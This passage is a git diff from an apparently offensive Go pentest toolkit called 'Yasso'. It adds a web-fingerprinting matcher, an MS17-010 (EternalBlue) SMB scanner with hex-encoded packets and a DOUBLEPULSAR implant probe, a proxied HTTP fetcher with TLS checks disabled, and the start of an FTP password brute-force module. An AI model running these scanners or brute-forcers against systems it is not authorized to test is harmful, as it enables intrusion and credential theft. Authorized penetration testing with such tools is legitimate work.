-1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 3 { + identifyData = append(identifyData, rule.Name) + RequestRule = "CustomRequest" + } + } + if rule.Mode == "or|or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "and|or" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + all_type := grep.FindStringSubmatch(rule.Type) + // + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(all_type[1], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(all_type[1], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[1], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "or|and" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + all_type := grep.FindStringSubmatch(rule.Type) + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + } else { // Default Request Result + url = DefaultTarget + Favicon = DefaultFavicon + RespBody = DefaultRespBody + RespHeader = DefaultRespHeader + RespCode = DefaultRespCode + RespTitle = DefaultRespTitle + // If the http request fails, then RespBody and RespHeader are both null + // At this time, it is considered that the url does not exist + if RespBody == RespHeader { + continue + } + if rule.Mode == "" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 2 { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + } + } + if rule.Mode == "and|and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 3 { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + } + } + if rule.Mode == "or|or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "and|or" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + allType := grep.FindStringSubmatch(rule.Type) + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(allType[1], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(allType[1], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(allType[1], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + if rule.Mode == "or|and" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + all_type := grep.FindStringSubmatch(rule.Type) + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(all_type[3], -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + RequestRule = "DefaultRequest" + successType = rule.Type + continue + } + } + } + } + } + // identify + if RequestRule == "DefaultRequest" { + RespBody = DefaultRespBody + RespHeader = DefaultRespHeader + RespCode = DefaultRespCode + RespTitle = DefaultRespTitle + url = DefaultTarget + } else if RequestRule == "CustomRequest" { + url = CustomTarget + RespBody = CustomRespBody + RespHeader = CustomRespHeader + RespCode = CustomRespCode + RespTitle = CustomRespTitle + } + var identifyResult string + var identifyResultNocolor string + for _, result := range identifyData { + if runtime.GOOS == "windows" { + identifyResult += "["+result+"]"+" " + } else { + identifyResult += "["+result+"]"+" " + } + } + for _, result := range identifyData { + identifyResultNocolor += "["+result+"]"+" " + } + + Result := []IdentifyResult{ + {successType, RespCode, identifyResult, identifyResultNocolor, url, RespTitle}, + } + return Result +} + +func checkHeader(url, responseHeader string, ruleHeader string, name string, title string, RespCode string) bool { + grep := regexp.MustCompile("(?i)"+ ruleHeader) + if len(grep.FindStringSubmatch(responseHeader)) != 0 { + //fmt.Print("[header] ") + return true + } else { + return false + } +} + +func checkBody(url, responseBody string, ruleBody string, name string, title string, RespCode string) bool { + grep := regexp.MustCompile("(?i)"+ ruleBody) + if len(grep.FindStringSubmatch(responseBody)) != 0 { + //fmt.Print("[body] ") + return true + } else { + return false + } +} + +func checkFavicon(Favicon, ruleFaviconMd5 string) bool { + grep := regexp.MustCompile("(?i)"+ ruleFaviconMd5) + if len(grep.FindStringSubmatch(Favicon)) != 0 { + // fmt.Print("url") + return true + } else { + return false + } +} \ No newline at end of file diff --git a/cmd/eternalblue.go b/cmd/eternalblue.go new file mode 100644 index 0000000..1dec310 --- /dev/null +++ b/cmd/eternalblue.go @@ -0,0 +1,139 @@ +package cmd + +import ( + "Yasso/config" + "encoding/binary" + "encoding/hex" + "fmt" + "net" + "strings" + "time" +) + +//TODO:MS17010 + + +var ( + negotiateProtocolRequest, _ = hex.DecodeString("00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200") + sessionSetupRequest, _ = hex.DecodeString("00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000") + treeConnectRequest, _ = hex.DecodeString("00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00") + transNamedPipeRequest, _ = hex.DecodeString("0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00") + trans2SessionSetupRequest, _ = hex.DecodeString("0000004eff534d4232000000001807c00000000000000000000000000008fffe000841000f0c0000000100000000000000a6d9a40000000c00420000004e0001000e000d0000000000000000000000000000") +) +func Ms17010Conn(info config.HostIn) { + conn, err := GetConn(fmt.Sprintf("%v:%v",info.Host,info.Port),info.TimeOut) + if err != nil { + //Println()("[!] New Connect failed",err) + return + } + status, err := RequestMs17010(conn,info.Host) + if err != nil { + //Println()("[!] Request Ms17010 failed",err) + return + } + if status == true { + return + } +} + + + +func RequestMs17010(conn net.Conn,ip string)(bool,error) { + defer conn.Close() + err := conn.SetDeadline(time.Now().Add(TimeDuration)) + if err != nil { + return false,err + } + _, err = conn.Write(negotiateProtocolRequest) + if err != nil { + return false,err + } + reply := make([]byte,1024) + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + if binary.LittleEndian.Uint32(reply[9:13]) !=0 { + return false,err + } + _, err = conn.Write(sessionSetupRequest) + if err != nil { + return false,err + } + n, err := conn.Read(reply) + if err != nil || n < 36 { + return false,err + } + if binary.LittleEndian.Uint32(reply[9:13]) != 0 { + // status != 0 + //fmt.Printf("can't determine whether %s is vulnerable or not\n", ip) + return false,fmt.Errorf("can't determine whether %s is vulnerable or not\n", ip) + } + + // extract OS info + var os string + sessionSetupResponse := reply[36:n] + if wordCount := sessionSetupResponse[0]; wordCount != 0 { + // find byte count + byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9]) + if n != int(byteCount)+45 { + Println("invalid session setup AndX response") + } else { + // two continous null bytes indicates end of a unicode string + for i := 10; i < len(sessionSetupResponse)-1; i++ { + if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 { + os = string(sessionSetupResponse[10:i]) + os = strings.Replace(os, string([]byte{0x00}), "",-1) + break + } + } + } + + } + userID := reply[32:34] + treeConnectRequest[32] = userID[0] + treeConnectRequest[33] = userID[1] + // TODO change the ip in tree path though it doesn't matter + conn.Write(treeConnectRequest) + + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + + treeID := reply[28:30] + transNamedPipeRequest[28] = treeID[0] + transNamedPipeRequest[29] = treeID[1] + transNamedPipeRequest[32] = userID[0] + transNamedPipeRequest[33] = userID[1] + + conn.Write(transNamedPipeRequest) + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + + if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 { + //fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) + //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) + //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} + //color.Magenta("%s\tMS17-010\t(%s)\n", ip, os) + Println(fmt.Sprintf("[+] %v Find MS17010 (%s)",ip,os)) + // detect present of DOUBLEPULSAR SMB implant + trans2SessionSetupRequest[28] = treeID[0] + trans2SessionSetupRequest[29] = treeID[1] + trans2SessionSetupRequest[32] = userID[0] + trans2SessionSetupRequest[33] = userID[1] + + conn.Write(trans2SessionSetupRequest) + + if n, err := conn.Read(reply); err != nil || n < 36 { + return false,err + } + + if reply[34] == 0x51 { + fmt.Printf("DOUBLEPULSAR SMB IMPLANT in %s\n", ip) + } + return true,nil + } else { + fmt.Printf("%s\t \t(%s)\n", ip, os) + } + return false,nil +} \ No newline at end of file diff --git a/cmd/fasthttp.go b/cmd/fasthttp.go new file mode 100644 index 0000000..8bb11f5 --- /dev/null +++ b/cmd/fasthttp.go @@ -0,0 +1,423 @@ +package cmd + +import ( + "Yasso/config" + "bytes" + "crypto/md5" + "crypto/tls" + "fmt" + "golang.org/x/net/proxy" + "golang.org/x/text/encoding/simplifiedchinese" + "io/ioutil" + "net/http" + "net/url" + "path" + "regexp" + "strconv" + "strings" + "time" + "unicode/utf8" +) + +//TODO: dismap RespLab + +type RespLab struct { + Url string + RespBody string + RespHeader string + RespStatusCode string + RespTitle string + FaviconMd5 string +} + +func FaviconMd5(Url string, timeout time.Duration, Path string) string { + var dial proxy.Dialer + var client *http.Client + if ProxyHost != "" { + dial ,_ = ConnBySOCKS5() + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + + Url = Url + "/favicon.ico" + req, err := http.NewRequest("GET", Url, nil) + if err != nil { + return "" + } + for key, value := range config.DefaultHeader { + req.Header.Set(key, value) + } + //req.Header.Set("Accept-Language", "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6") + //req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + //req.Header.Set("Cookie", "rememberMe=int") + resp, err := client.Do(req) + if err != nil { + return "" + } + defer resp.Body.Close() + body_bytes, err := ioutil.ReadAll(resp.Body) + hash := md5.Sum(body_bytes) + md5 := fmt.Sprintf("%x", hash) + return md5 +} + +func DefaultRequests(Url string, timeout time.Duration)[]RespLab{ + + var redirect_url string + var resp_title string + var response_header string + var response_body string + var response_status_code string + var res []string + + // 设置http请求客户端 + var dial proxy.Dialer + var client *http.Client + if ProxyHost != "" { + dial ,_ = ConnBySOCKS5() + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + + req, err := http.NewRequest("GET",Url,nil) + if err != nil { + return nil + } + // 设置默认请求头 + for key,value := range config.DefaultHeader { + req.Header.Set(key,value) + } + // 做http请求 + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + + // 获取请求的状态马 + var status_code = resp.StatusCode + response_status_code = strconv.Itoa(status_code) + + //TODO: 根据请求来拦截状态码,如果是30x则需要拦截url进行重定向 + + if len(regexp.MustCompile("30").FindAllStringIndex(response_status_code, -1)) == 1 { + // 进行重定向 + redirect_path := resp.Header.Get("Location") // 拦截url进行重定向请求 + if len(regexp.MustCompile("http").FindAllStringIndex(redirect_path, -1)) == 1 { + redirect_url = redirect_path + } else { + redirect_url = Url + redirect_path + } + var client *http.Client + if ProxyHost != ""{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + // 设置重定向请求 + req, err := http.NewRequest("GET",redirect_url,nil) + if err != nil { + return nil + } + for key,value := range config.DefaultHeader { + req.Header.Set(key,value) + } + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + + //TODO: 解决两次的30x跳转问题 + var twoStatusCode = resp.StatusCode + responseStatusCodeTwo := strconv.Itoa(twoStatusCode) + if len(regexp.MustCompile("30").FindAllStringIndex(responseStatusCodeTwo, -1)) == 1 { + redirectPath := resp.Header.Get("Location") + if len(regexp.MustCompile("http").FindAllStringIndex(redirectPath, -1)) == 1 { + redirect_url = redirectPath + } else { + redirect_url = Url + redirectPath + } + var client *http.Client + if ProxyHost != "" { + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + } + } + + req, err := http.NewRequest("GET", redirect_url, nil) + if err != nil { + return nil + } + for key,value := range config.DefaultHeader { + req.Header.Set(key, value) + } + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + // get response body for string + bodyBytes, err := ioutil.ReadAll(resp.Body) + response_body = string(bodyBytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(bodyBytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes) + response_body = string(data) + } + // Get Response title + grepTitle := regexp.MustCompile("(.*)") + if len(grepTitle.FindStringSubmatch(response_body)) != 0 { + resp_title = grepTitle.FindStringSubmatch(response_body)[1] + } else { + resp_title = "None" + } + for name,values := range resp.Header { + for _,value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + for _,re := range res { + response_header += re + "\n" + } + favicon5 := FaviconMd5(Url, timeout, "") + RespData := []RespLab{ + {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5}, + } + return RespData + } + // get response body for string + body_bytes, err := ioutil.ReadAll(resp.Body) + response_body = string(body_bytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(body_bytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes) + response_body = string(data) + } + // Get Response title + grep_title := regexp.MustCompile("(.*)") + if len(grep_title.FindStringSubmatch(response_body)) != 0 { + resp_title = grep_title.FindStringSubmatch(response_body)[1] + } else { + resp_title = "None" + } + // get response header for string + for name, values := range resp.Header { + for _, value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + for _, re := range res { + response_header += re + "\n" + } + favicon5 := FaviconMd5(Url, timeout, "") + RespData := []RespLab{ + {redirect_url, response_body, response_header, response_status_code, resp_title, favicon5}, + } + return RespData + } + // get response body for string + bodyBytes, err := ioutil.ReadAll(resp.Body) + response_body = string(bodyBytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(bodyBytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(bodyBytes) + response_body = string(data) + } + + // Get Response title + grep_title := regexp.MustCompile("(.*)") + if len(grep_title.FindStringSubmatch(response_body)) != 0 { + resp_title = grep_title.FindStringSubmatch(response_body)[1] + } else { + resp_title = "None" + } + // get response header for string + for name, values := range resp.Header { + for _, value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + for _, re := range res { + response_header += re + "\n" + } + faviconmd5 := FaviconMd5(Url, timeout, "") + RespData := []RespLab{ + {Url, response_body, response_header, response_status_code, resp_title, faviconmd5}, + } + return RespData +} + + +func CustomRequests(Url string, timeout time.Duration, Method string, Path string, Header []string, Body string) []RespLab { + var respTitle string + // Splicing Custom Path + u, err := url.Parse(Url) + u.Path = path.Join(u.Path, Path) + Url = u.String() + if strings.HasSuffix(Path, "/") { + Url = Url + "/" + } + + var client *http.Client + var dial proxy.Dialer + if ProxyHost != "" { + dial ,_ = ConnBySOCKS5() + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig:&tls.Config{InsecureSkipVerify: true}, + Dial: dial.Dial, + }, + } + }else{ + client = &http.Client{ + Timeout: time.Duration(timeout), + Transport: &http.Transport { + TLSClientConfig:&tls.Config{InsecureSkipVerify: true}, + }, + } + } + + // Send Http requests + + body_byte := bytes.NewBuffer([]byte(Body)) + req, err := http.NewRequest(Method, Url, body_byte) + if err != nil { + return nil + } + + // Set Requests Headers + for _, header := range Header { + grep_key := regexp.MustCompile("(.*): ") + var header_key = grep_key.FindStringSubmatch(header)[1] + grep_value := regexp.MustCompile(": (.*)") + var header_value = grep_value.FindStringSubmatch(header)[1] + req.Header.Set(header_key, header_value) + } + resp, err := client.Do(req) + if err != nil { + return nil + } + defer resp.Body.Close() + // Get Response Body for string + body_bytes, err := ioutil.ReadAll(resp.Body) + var response_body = string(body_bytes) + // Solve the problem of garbled body codes with unmatched numbers + if !utf8.Valid(body_bytes) { + data, _ := simplifiedchinese.GBK.NewDecoder().Bytes(body_bytes) + response_body = string(data) + } + // Get Response title + grep_title := regexp.MustCompile("(.*)") + if len(grep_title.FindStringSubmatch(response_body)) != 0 { + respTitle = grep_title.FindStringSubmatch(response_body)[1] + } else { + respTitle = "None" + } + // Get Response Header for string + var res []string + for name, values := range resp.Header { + for _, value := range values { + res = append(res, fmt.Sprintf("%s: %s", name, value)) + } + } + var response_header string + for _, re := range res { + response_header += re + "\n" + } + // get response status code + var status_code = resp.StatusCode + response_status_code := strconv.Itoa(status_code) + RespData := []RespLab{ + {Url, response_body, response_header, response_status_code, respTitle, ""}, + } + return RespData +} + +//dismap 解析IP + +func ParseUrl (host string,port string) string { + if port == "80" { + return "http://" + host + } else if port == "443"{ + return "https://" + host + } else if len(regexp.MustCompile("443").FindAllStringIndex(port, -1)) == 1 { + return "https://" + host + ":" + port + } else { + return "http://" + host + ":" + port + } +} \ No newline at end of file diff --git a/cmd/ftp.go b/cmd/ftp.go new file mode 100644 index 0000000..13b3fe2 --- /dev/null +++ b/cmd/ftp.go @@ -0,0 +1,62 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/jlaffaye/ftp" + "github.com/spf13/cobra" + "time" +) + + + +var FtpCmd = &cobra.Command{ + Use: "ftp", + Short: "ftp burst module (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == ""{ + _ = cmd.Help() + }else{ + BruteFtpByUser() + } + }, +} + + +func BruteFtpByUser(){ + if BrutePort == 0 { + BrutePort = 21 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := 